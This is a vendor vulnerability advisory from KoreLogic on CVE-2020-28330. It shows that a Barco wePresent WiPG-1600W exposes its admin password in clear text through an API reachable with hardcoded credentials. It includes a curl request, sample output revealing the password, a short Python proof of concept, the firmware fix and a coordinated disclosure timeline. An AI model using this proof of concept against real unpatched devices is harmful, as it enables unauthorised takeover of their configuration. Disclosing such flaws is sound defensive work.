KL-001-2020-005 : Barco wePresent Admin Credentials Exposed In Plain-text Title: Barco wePresent Admin Credentials Exposed In Plain-text Advisory ID: KL-001-2020-005 Publication Date: 2020.11.20 Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2020-005.txt 1. Vulnerability Details Affected Vendor: Barco Affected Product: wePresent WiPG-1600W Affected Version: 2.5.1.8 Platform: Embedded Linux CWE Classification: CWE-523: Unprotected Transport of Credentials CVE ID: CVE-2020-28330 2. Vulnerability Description An attacker armed with hardcoded API credentials from KL-001-2020-004 (CVE-2020-28329) can issue an authenticated query to display the admin password for the main web user interface listening on port 443/tcp. 3. Technical Description An authenticated request using the hardcoded credentials in KL-001-2020-004 (CVE-2020-28329) to https://<IP>:4001/w1.0 will display the current admin password in clear text. An attacker will now have the admin password on the device, and can use the web interface to make any configuration changes to the device using the web UI. $ curl -k -u 'admin:[REDACTED]' https://192.168.2.200:4001/w1.0 { "status": 200, "message": "Get successful", "data": { "key": "/w1.0", "value": { "ClientAccess":{ "EnableAirplay": true }, "Configuration":{ "RestartSystem": false, "ShutdownSystem": false, "SetAction": "NoAction", "SetActionUrl": "" }, "DeviceInfo":{ "ArticleNumber": "Barco_Number", "CurrentUptime": 58524, "InUse": false, "ModelName": "WiPG-1600", "Sharing": false, "Status": 0, "StatusMessage": "", "TotalUptime": 473871262, "TotalUsers": 0, "LoginCodeOption": "Random", "LoginCode": "3746", "SystemPassword": "W3Pr3s3nt", <- Admin password ... ... 4. Mitigation and Remediation Recommendation The vendor has released an updated firmware (2.5.3.12) which remediates the described vulnerability. Firmware and release notes are available at: https://www.barco.com/en/support/software/R33050104 5. Credit This vulnerability was discovered by Jim Becher (@jimbecher) of KoreLogic, Inc. 6. Disclosure Timeline 2020.08.24 - KoreLogic submits vulnerability details to Barco. 2020.08.25 - Barco acknowledges receipt and the intention to investigate. 2020.09.21 - Barco notifies KoreLogic that this issue, along with several others reported by KoreLogic, will require more than the standard 45 business day remediation timeline. Barco requests to delay coordinated disclosure until 2020.12.11. 2020.09.23 - KoreLogic agrees to 2020.12.11 coordinated disclosure. 2020.09.25 - Barco informs KoreLogic of their intent to acquire CVE number for this vulnerability. 2020.11.09 - Barco shares CVE number with KoreLogic and announces their intention to release the updated firmware ahead of schedule, on 2020.11.11. Request that KoreLogic delay public disclosure until 2020.11.20. 2020.11.11 - Barco firmware release. 2020.11.20 - KoreLogic public disclosure. 7. Proof of Concept The following is a basic Python function to return the admin password: def get_admin_pw(host, port, adminpw): apiuser = "admin" apipw = "[REDACTED]" url = "https://" + host + ":" + port + "/w1.0" response = requests.get(url, auth=HTTPBasicAuth(apiuser, apipw), verify=False, timeout=3) dict = response.json() adminpw = dict['data']['value']['DeviceInfo']['SystemPassword'] return adminpw The contents of this advisory are copyright(c) 2020 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt